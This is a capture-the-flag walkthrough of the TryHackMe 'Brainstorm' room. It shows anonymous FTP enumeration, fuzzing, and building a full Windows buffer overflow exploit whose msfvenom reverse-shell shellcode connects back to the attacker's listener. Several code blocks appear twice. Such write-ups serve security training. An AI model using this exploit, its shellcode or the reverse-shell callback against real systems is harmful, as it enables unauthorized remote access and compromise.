TryHackMe - Brainstorm - Walkthrough
Introduction
Today we're going to be doing a walkthrough for the Brainstorm room hosted at https://tryhackme.com/room/brainstorm . For this walkthrough, we'll be using two virtual machines (VMs), a Kali Linux VM as our attacking machine, and the deployed Windows Brainstorm client as the the victim machine.Task 1 - Deploy Machine and Scan Network
Questions:
Deploy the machine
No answer needed
How many ports are open?
First, we're going to add the IP address of the Brainstorm machine to our attacking machine's /etc/hosts file. In the current version of Kali,we need switch to Root before doing so:
As Root:
echo “10.10.100.56 brainstorm.thm” >> /etc/hosts
At the time of our examination of the network, there were a number of machines live in the network, and the number of open ports on those systems does not match the answer for this question. Neither does the number of open ports on the brainstorm.thm machine. In the end, we brute forced the answer.
Task 2 - Accessing Files
Questions
What is the name of the exe file you found?
We run the following Nmap scan on brainstorm.thm:
nmap -p- -T4 -Pn brainstorm.thm
Task 2 - Accessing Files
Questions
What is the name of the exe file you found?
We run the following Nmap scan on brainstorm.thm:
nmap -p- -T4 -Pn brainstorm.thm
We see that there is an FTP service open, so we enumerate it:
ftp brainstorm.thm
enter username: anonymous
enter blank password
There's anonymous login available on this system. Let's check for files on the service:
dir
cd chatserver
dir
binary
get ******.***
get essfunc.dll
We saw the chatserver directory on the FTP server, and we see a binary file in the directory, so we switch the FTP service to binary mode in order to download the file properly (otherwise the file would be corrupted when transferred).
Task 3 - Access
Questions
Read the description
No answer needed
(unofficial)
We saw that was an unusual service running on brainstorm.thm on port 9999. We run Netcat to manually enumerate the service. We use the -C flag with Netcat because we're interacting with a Windows networking app, and they usually require CRLF line terminators:
nc -C brainstorm.thm 9999
After testing for overflow, by enterting a large number of characters, determine the EIP offset.
No answer needed
(unofficial)
We have the chat server binary and dll file that we captured from the FTP server. We'll upload those files another VM, this one from the Buffer Overflow Prep TryHackMe room located at https://tryhackme.com/room/bufferoverflowprep
Once that machine has started up, we need to login to the system via RDP, then upload our two file so that we can do testing on the chat server service.
First we start a Python http server on our attacking machine so we can serve those files:
sudo python3 -m http.server 80
No answer needed
(unofficial)
We have the chat server binary and dll file that we captured from the FTP server. We'll upload those files another VM, this one from the Buffer Overflow Prep TryHackMe room located at https://tryhackme.com/room/bufferoverflowprep
Once that machine has started up, we need to login to the system via RDP, then upload our two file so that we can do testing on the chat server service.
First we start a Python http server on our attacking machine so we can serve those files:
sudo python3 -m http.server 80
Then we'll log into the Windows machine via RDP:
xfreerdp /u:admin /p:password /cert:ignore /v:10.10.174.9 /workarea /size:90
From the Windows machine, we start a session of Internet Explorer and download the two files:
Open Internet Explorer
http://10.2.41.125/chatserver.exe
http://10.2.41.125/essfunc.dll
To test the chat server binary for buffer overflow vulnerability, we'll run the binary through the Immunity Debugger program present on the Buffer Overflow Prep system.
Run Immunity Debugger as Administrator
File -> Open -> chatserver -> Open
To start each round of debugging, we need to set the state of the chatserver program to Running:
Debug -> Run
Next, we'll configure the Mona script to match our chatserver program's parameters:
Inside the debugger:
!mona config -set workingfolder c:\cmona\%p
We'll use the following Python script to fuzz the chatserver service and crash it.
import socket, sys
ip = "brainstorm.thm"
port = 9999
timeout = 5
buffer = []
counter = 1500
while len(buffer) < 100:
buffer.append("A" * counter)
counter += 100
for string in buffer:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
connect = s.connect((ip, port))
s.recv(1024)
print("Fuzzing with %s bytes" % len(string))
s.send("\r\n")
s.recv(1024)
s.send(string + "\r\n")
s.recv(1024)
s.close()
except:
print("Could not connect to " + ip + ":" + str(port))
sys.exit(0)
Of course, we'll need to change the ip variable to match the IP address of the Windows server.
We run the fuzzer script, which crashes the program:
python altfuzzer.py
We'll use the following Python script to fuzz the chatserver service and crash it.
import socket, sys
ip = "brainstorm.thm"
port = 9999
timeout = 5
buffer = []
counter = 1500
while len(buffer) < 100:
buffer.append("A" * counter)
counter += 100
for string in buffer:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
connect = s.connect((ip, port))
s.recv(1024)
print("Fuzzing with %s bytes" % len(string))
s.send("\r\n")
s.recv(1024)
s.send(string + "\r\n")
s.recv(1024)
s.close()
except:
print("Could not connect to " + ip + ":" + str(port))
sys.exit(0)
Of course, we'll need to change the ip variable to match the IP address of the Windows server.
We run the fuzzer script, which crashes the program:
python altfuzzer.py
We can see that when we sent a buffer size of 2100, the program crashed and we filled three other memory registers with our buffer, as well as the EIP. From here, we need to figure out the exact buffer offset which will allow us to access the EIP. We'll use the following Python script for testing:
import socket
ip = "brainstorm.thm"
port = 9999
prefix = ""
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
s.recv(1024)
print("Sending evil buffer...")
s.send("\r\n")
s.recv(1024)
s.send(buffer + "\r\n")
s.recv(1024)
print("Done!")
except:
print("Could not connect.")
ip = "brainstorm.thm"
port = 9999
prefix = ""
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
s.recv(1024)
print("Sending evil buffer...")
s.send("\r\n")
s.recv(1024)
s.send(buffer + "\r\n")
s.recv(1024)
print("Done!")
except:
print("Could not connect.")
We can create a cyclic pattern to use as the payload variable in our exploit script, so when we crash the chatserver program next, we can determine the offset value to control the EIP register:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2500
We use a length of 2500 because the service seemed to crash after we sent it 2100 bytes, and we want a cushion of about 400 bytes to fit our shellcode later. We take the output of the pattern_create script and plug it into our exploit script's payload variable, then reset the Windows debugger program and run our exploit.py script from our attacking machine.
python exploit.py
We see that when the crash occurs this time, the EIP register has the following hex bytes in it:
31704330
We can use this as a parameter in the msf-pattern_offset program to obtain an offset value:
msf-pattern_offset -l 2500 -q 31704330
With this new information, we edit our exploit.py script, setting the payload variable to an empty string, and plugging in the offset value and changing the retn value to "BBBB".
Here we see that when the program crashes, the EIP contains 42424242, which is the hex representation of the BBBB value we put into the retn variable in our exploit.py script. Next, we need to determine if there are any bad characters (badchars) which we need to avoid when we create our shellcode. We go into the debugger program an input the following:
!mona bytearray-b “\x00”
from __future__ import print_function
for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end='')
print()
We run the script:
python badchargen.py
python badchargen.py
We note the address the ESP register points to, and use that as input for the next Mona command in the debugger:
!mona compare -f c:\mona\chatserver\bytearray.bin -a 01A1EEC0
Now you know that you can overflow a buffer and potentially control execution, you need to find a function where ASLR/DEP is not enabled. Why not check the DLL file.
No answer needed
(unofficial)
The script reports that there were no badchars found, which means we can move on to the next step, finding a jump point. In the debugger. We send the following Mona command:
!mona jmp -r esp -cpb “\x00”
click on the Window -> Log data button in the debugger
We note the first usable address returned to us, but we need to reverse the order of the bytes, since the system we're dealing with is little endian. In hex byte little endian format, the address is like this:
\xdf\x14\x50\x62
We'll plug this address into the retn value in our exploit.py script. At the same time, we set the string in the payload variable to empty:
Since this would work, you can try generate some shellcode - use msfvenom to generate shellcode for windows.
No answer needed
(unofficial)
The final step we need to take before we finish our exploit script is to generate our shellcode and include as the payload variable of our script. We do this with msfvenom:
msfvenom -p windows/shell_reverse_tcp LHOST=10.2.41.125 LPORT=4444 EXITFUNC=thread -b ‘\x00’ -f python
In our exploit script, we paste in the output of the previous command, then we set the payload variable to buf, and set the padding variable to ("\x90" * 16).
Our final exploit script looks like this:
import socket
ip = "brainstorm.thm"
port = 9999
prefix = ""
offset = 2012
overflow = "A" * offset
retn = "\xdf\x14\x50\x62"
padding = "\x90" * 16
buf = b""
buf += b"\xb8\xf4\xed\xa9\x46\xdb\xce\xd9\x74\x24\xf4\x5b\x29"
buf += b"\xc9\xb1\x52\x31\x43\x12\x83\xc3\x04\x03\xb7\xe3\x4b"
buf += b"\xb3\xcb\x14\x09\x3c\x33\xe5\x6e\xb4\xd6\xd4\xae\xa2"
buf += b"\x93\x47\x1f\xa0\xf1\x6b\xd4\xe4\xe1\xf8\x98\x20\x06"
buf += b"\x48\x16\x17\x29\x49\x0b\x6b\x28\xc9\x56\xb8\x8a\xf0"
buf += b"\x98\xcd\xcb\x35\xc4\x3c\x99\xee\x82\x93\x0d\x9a\xdf"
buf += b"\x2f\xa6\xd0\xce\x37\x5b\xa0\xf1\x16\xca\xba\xab\xb8"
buf += b"\xed\x6f\xc0\xf0\xf5\x6c\xed\x4b\x8e\x47\x99\x4d\x46"
buf += b"\x96\x62\xe1\xa7\x16\x91\xfb\xe0\x91\x4a\x8e\x18\xe2"
buf += b"\xf7\x89\xdf\x98\x23\x1f\xfb\x3b\xa7\x87\x27\xbd\x64"
buf += b"\x51\xac\xb1\xc1\x15\xea\xd5\xd4\xfa\x81\xe2\x5d\xfd"
buf += b"\x45\x63\x25\xda\x41\x2f\xfd\x43\xd0\x95\x50\x7b\x02"
buf += b"\x76\x0c\xd9\x49\x9b\x59\x50\x10\xf4\xae\x59\xaa\x04"
buf += b"\xb9\xea\xd9\x36\x66\x41\x75\x7b\xef\x4f\x82\x7c\xda"
buf += b"\x28\x1c\x83\xe5\x48\x35\x40\xb1\x18\x2d\x61\xba\xf2"
buf += b"\xad\x8e\x6f\x54\xfd\x20\xc0\x15\xad\x80\xb0\xfd\xa7"
buf += b"\x0e\xee\x1e\xc8\xc4\x87\xb5\x33\x8f\xad\x4b\x12\x32"
buf += b"\xda\x49\x64\xdd\x46\xc7\x82\xb7\x66\x81\x1d\x20\x1e"
buf += b"\x88\xd5\xd1\xdf\x06\x90\xd2\x54\xa5\x65\x9c\x9c\xc0"
buf += b"\x75\x49\x6d\x9f\x27\xdc\x72\x35\x4f\x82\xe1\xd2\x8f"
buf += b"\xcd\x19\x4d\xd8\x9a\xec\x84\x8c\x36\x56\x3f\xb2\xca"
buf += b"\x0e\x78\x76\x11\xf3\x87\x77\xd4\x4f\xac\x67\x20\x4f"
buf += b"\xe8\xd3\xfc\x06\xa6\x8d\xba\xf0\x08\x67\x15\xae\xc2"
buf += b"\xef\xe0\x9c\xd4\x69\xed\xc8\xa2\x95\x5c\xa5\xf2\xaa"
buf += b"\x51\x21\xf3\xd3\x8f\xd1\xfc\x0e\x14\xf1\x1e\x9a\x61"
buf += b"\x9a\x86\x4f\xc8\xc7\x38\xba\x0f\xfe\xba\x4e\xf0\x05"
buf += b"\xa2\x3b\xf5\x42\x64\xd0\x87\xdb\x01\xd6\x34\xdb\x03"
payload = buf
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
s.recv(1024)
print("Sending evil buffer...")
s.send("\r\n")
s.recv(1024)
s.send(buffer + "\r\n")
s.recv(1024)
print("Done!")
except:
print("Could not connect.")
Before we attempt to exploit the actual brainstorm.thm machine, we should start a Netcat listener on our attacking machine:
nc -nlvp 4444
import socket
ip = "brainstorm.thm"
port = 9999
prefix = ""
offset = 2012
overflow = "A" * offset
retn = "\xdf\x14\x50\x62"
padding = "\x90" * 16
buf = b""
buf += b"\xb8\xf4\xed\xa9\x46\xdb\xce\xd9\x74\x24\xf4\x5b\x29"
buf += b"\xc9\xb1\x52\x31\x43\x12\x83\xc3\x04\x03\xb7\xe3\x4b"
buf += b"\xb3\xcb\x14\x09\x3c\x33\xe5\x6e\xb4\xd6\xd4\xae\xa2"
buf += b"\x93\x47\x1f\xa0\xf1\x6b\xd4\xe4\xe1\xf8\x98\x20\x06"
buf += b"\x48\x16\x17\x29\x49\x0b\x6b\x28\xc9\x56\xb8\x8a\xf0"
buf += b"\x98\xcd\xcb\x35\xc4\x3c\x99\xee\x82\x93\x0d\x9a\xdf"
buf += b"\x2f\xa6\xd0\xce\x37\x5b\xa0\xf1\x16\xca\xba\xab\xb8"
buf += b"\xed\x6f\xc0\xf0\xf5\x6c\xed\x4b\x8e\x47\x99\x4d\x46"
buf += b"\x96\x62\xe1\xa7\x16\x91\xfb\xe0\x91\x4a\x8e\x18\xe2"
buf += b"\xf7\x89\xdf\x98\x23\x1f\xfb\x3b\xa7\x87\x27\xbd\x64"
buf += b"\x51\xac\xb1\xc1\x15\xea\xd5\xd4\xfa\x81\xe2\x5d\xfd"
buf += b"\x45\x63\x25\xda\x41\x2f\xfd\x43\xd0\x95\x50\x7b\x02"
buf += b"\x76\x0c\xd9\x49\x9b\x59\x50\x10\xf4\xae\x59\xaa\x04"
buf += b"\xb9\xea\xd9\x36\x66\x41\x75\x7b\xef\x4f\x82\x7c\xda"
buf += b"\x28\x1c\x83\xe5\x48\x35\x40\xb1\x18\x2d\x61\xba\xf2"
buf += b"\xad\x8e\x6f\x54\xfd\x20\xc0\x15\xad\x80\xb0\xfd\xa7"
buf += b"\x0e\xee\x1e\xc8\xc4\x87\xb5\x33\x8f\xad\x4b\x12\x32"
buf += b"\xda\x49\x64\xdd\x46\xc7\x82\xb7\x66\x81\x1d\x20\x1e"
buf += b"\x88\xd5\xd1\xdf\x06\x90\xd2\x54\xa5\x65\x9c\x9c\xc0"
buf += b"\x75\x49\x6d\x9f\x27\xdc\x72\x35\x4f\x82\xe1\xd2\x8f"
buf += b"\xcd\x19\x4d\xd8\x9a\xec\x84\x8c\x36\x56\x3f\xb2\xca"
buf += b"\x0e\x78\x76\x11\xf3\x87\x77\xd4\x4f\xac\x67\x20\x4f"
buf += b"\xe8\xd3\xfc\x06\xa6\x8d\xba\xf0\x08\x67\x15\xae\xc2"
buf += b"\xef\xe0\x9c\xd4\x69\xed\xc8\xa2\x95\x5c\xa5\xf2\xaa"
buf += b"\x51\x21\xf3\xd3\x8f\xd1\xfc\x0e\x14\xf1\x1e\x9a\x61"
buf += b"\x9a\x86\x4f\xc8\xc7\x38\xba\x0f\xfe\xba\x4e\xf0\x05"
buf += b"\xa2\x3b\xf5\x42\x64\xd0\x87\xdb\x01\xd6\x34\xdb\x03"
payload = buf
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
s.recv(1024)
print("Sending evil buffer...")
s.send("\r\n")
s.recv(1024)
s.send(buffer + "\r\n")
s.recv(1024)
print("Done!")
except:
print("Could not connect.")
Before we attempt to exploit the actual brainstorm.thm machine, we should start a Netcat listener on our attacking machine:
nc -nlvp 4444
Finally, we attempt to buffer overflow the chatserver service and receive a reverse shell:
python exploit.py
After gaining access, what is the content of the root.txt file?
Flags on TryHackMe Windows machines are usually located in a user's \Desktop directory. In this case, it's located in c:\users\drake\desktop:
type c:\users\drake\desktop\root.txt
After initial scans, we found that the target system exposed an FTP service with anonymous login enabled, which we exploited to gain access to the binary of a network service that we suspected was running on the server. After testing, we came to conclusion that the service was vulnerable to a buffer overflow attack, which we used to gain access to the system and capture our objective flag file.
Finish
Comments
Post a Comment